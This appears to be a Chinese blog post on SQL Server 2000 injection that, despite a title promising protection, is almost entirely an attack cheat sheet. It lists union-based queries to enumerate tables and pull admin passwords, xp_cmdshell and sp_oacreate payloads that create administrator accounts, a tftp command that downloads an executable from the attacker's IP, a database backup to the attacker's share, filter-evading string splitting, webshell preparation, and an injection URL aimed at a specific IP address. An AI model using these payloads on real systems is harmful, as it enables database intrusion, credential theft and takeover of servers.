SQL Server 2000 注入防护大全(一)

    SQL Server 2000 注入防护大全(一)

    Sql注入早源于’or’1’=’1

    最重要的表名:


    select * from sysobjects
    sysobjects ncsysobjects
    sysindexes tsysindexes
    syscolumns
    systypes
    sysusers
    sysdatabases
    sysxlogins
    sysprocesses


      最重要的一些用户名(默认sql数据库中存在着的)


    public
    dbo
    guest(一般禁止,或者没权限)
    db_sercurityadmin
    ab_dlladmin


      一些默认扩展


    xp_regaddmultistring
    xp_regdeletekey
    xp_regdeletevalue
    xp_regenumkeys
    xp_regenumvalues
    xp_regread
    xp_regremovemultistring
    xp_regwrite
    xp_availablemedia 驱动器相关
    xp_dirtree 目录
    xp_enumdsn ODBC连接
    xp_loginconfig 服务器安全模式信息
    xp_makecab 创建压缩卷
    xp_ntsec_enumdomains domain信息
    xp_terminate_process 终端进程,给出一个PID

    例如:


    sp_addextendedproc ‘xp_webserver’, ‘c:\temp\xp_foo.dll’
    exec xp_webserver
    sp_dropextendedproc ‘xp_webserver’
    bcp “select * FROM test..foo” queryout c:\inetpub\wwwroot\runcommand.asp
    -c -Slocalhost -Usa -Pfoobar
    ‘ group by users.id having 1=1-
    ‘ group by users.id, users.username, users.password, users.privs having 1=1-
    ‘; insert into users values( 666, ‘attacker’, ‘foobar’, 0xffff )-

    union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=’logintable’-
    union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=’logintable’ where COLUMN_NAME NOT IN (‘login_id’)-
    union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=’logintable’ where COLUMN_NAME NOT IN (‘login_id’,’login_name’)-
    union select TOP 1 login_name FROM logintable-
    union select TOP 1 password FROM logintable where login_name=’Rahul’–


      构造语句:查询是否存在xp_cmdshell


    ‘ union select @@version,1,1,1–
    and 1=(select @@VERSION)
    and ‘sa’=(select System_user)
    ‘ union select ret,1,1,1 from foo–
    ‘ union select min(username),1,1,1 from users where username > ‘a’-
    ‘ union select min(username),1,1,1 from users where username > ‘admin’-
    ‘ union select password,1,1,1 from users where username = ‘admin’–
    and user_name()=’dbo’
    and 0<>(select user_name()-
    ; DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:\WINNT\system32\cmd.exe /c net user swap 5245886 /add’
    and 1=(select count(*) FROM master.dbo.sysobjects where
    xtype = ‘X’ AND name = ‘xp_cmdshell’)
    ;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell’, ‘xplog70.dll’


    1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype=’x’%20and%20name=’xp_cmdshell’)
    and 1=(select IS_SRVROLEMEMBER(‘sysadmin’)) 判断sa权限是否
    and 0<>(select top 1 paths from newtable)– 暴库大法
    and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名(从1到5都是系统的id,6以上才可以判断)


      创建一个虚拟目录E盘:


    declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL,’ cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w “默认 Web 站点” -v “e”,”e:\”‘
    访问属性:(配合写入一个webshell)
    declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL,’ cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse’


    and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
    依次提交 dbid = 7,8,9…. 得到更多的数据库名
    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’) 暴到一个表 假设为 admin

    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’ and name not in (‘Admin’)) 来得到其他的表。
    and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=’U’ and name=’admin’
    and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
    and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id
    and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
    (‘id’,…)) 来暴出其他的字段
    and 0<(select user_id from BBS.dbo.admin where username>1)

      可以得到用户名 依次可以得到密码。。。。。假设存在user_id username ,password 等字段


    Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
    Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin


    (union语句到处风靡啊,access也好用

      暴库特殊技巧::%5c=’\’ 或者把/和\ 修改%5提交


    and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’) 得到表名
    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’ and name not in(‘Address’))
    and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=’U’ and name=’admin’ and uid>(str(id))) 判断id值
    and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

    _blank>http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap] ([swappass][char](255));–

    _blank>http://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 swappass from swap)=1
    ;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey=’HKEY_LOCAL_MACHINE’, @key=’SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\’, @value_name=’/’, values=@test OUTPUT insert into paths(path) values(@test)

    _blank>http://61.131.96.39/PageShow.asp?TianName=政策法规&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20″wscript.shell”,@s%20out;exec%20sp_oamethod%20@s,”run”,NULL,”cmd.exe%20/c%20ping%201.1.1.1″;–


      得到了web路径d:\xxxx,接下来:


    _blank>http://xx.xx.xx.xx/111.asp?id=3400;use ku1;–
    _blank>http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);–


      传统的存在xp_cmdshell的测试过程:


    ;exec master..xp_cmdshell ‘dir’
    ;exec master.dbo.sp_addlogin hax;–
    ;exec master.dbo.sp_password null,hax,hax;–
    ;exec master.dbo.sp_addsrvrolemember hax sysadmin;–
    ;exec master.dbo.xp_cmdshell ‘net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes / active:yes /add’;–
    ;exec master.dbo.xp_cmdshell ‘net localgroup administrators hax /add’;–
    exec master..xp_servicecontrol ‘start’, ‘schedule’
    exec master..xp_servicecontrol ‘start’, ‘server’
    http://www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:\WINNT\system32\cmd.exe /c net user swap 5258 /add’
    ;DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:\WINNT\system32\cmd.exe /c net localgroup administrators swap/add’

    _blank>http://localhost/show.asp?id=1‘; exec master..xp_cmdshell ‘tftp -i youip get file.exe’-

    declare @a sysname set @a=’xp_’+’cmdshell’ exec @a ‘dir c:\’
    declare @a sysname set @a=’xp’+’_cm’+’dshell’ exec @a ‘dir c:\’
    ;declare @a;set @a=db_name();backup database @a to disk=’你的IP你的共享目录bak.dat’
    如果被限制则可以。
    select * from openrowset(‘sqloledb’,’server’;’sa’;”,’select ”OK!” exec master.dbo.sp_addlogin hax’)

发表评论

发表评论